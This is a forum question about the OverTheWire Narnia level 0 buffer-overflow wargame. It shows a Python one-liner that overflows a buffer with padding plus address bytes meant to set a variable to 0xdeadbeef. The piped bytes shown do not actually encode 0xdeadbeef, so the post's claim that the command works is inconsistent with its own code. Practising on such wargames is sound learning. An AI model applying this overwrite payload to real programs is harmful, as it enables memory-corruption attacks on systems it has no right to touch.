[insidious]

Hey all,

I'm doing a buffer overflow challenge on the Wargame "Narnia" on OvertheWire:
http://overthewire.org/wargames/narnia/

changing the value to 0xdeadbeef works if i use the python command in terminal:

Code:

python -c 'print "A"*20 + "\xef\xeb\xad\xde"' | /narnia/narnia0

but if i just put in

Code:

AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde

as an arguement for narnia0 it doesn't change the value?
am I doing something wrong?
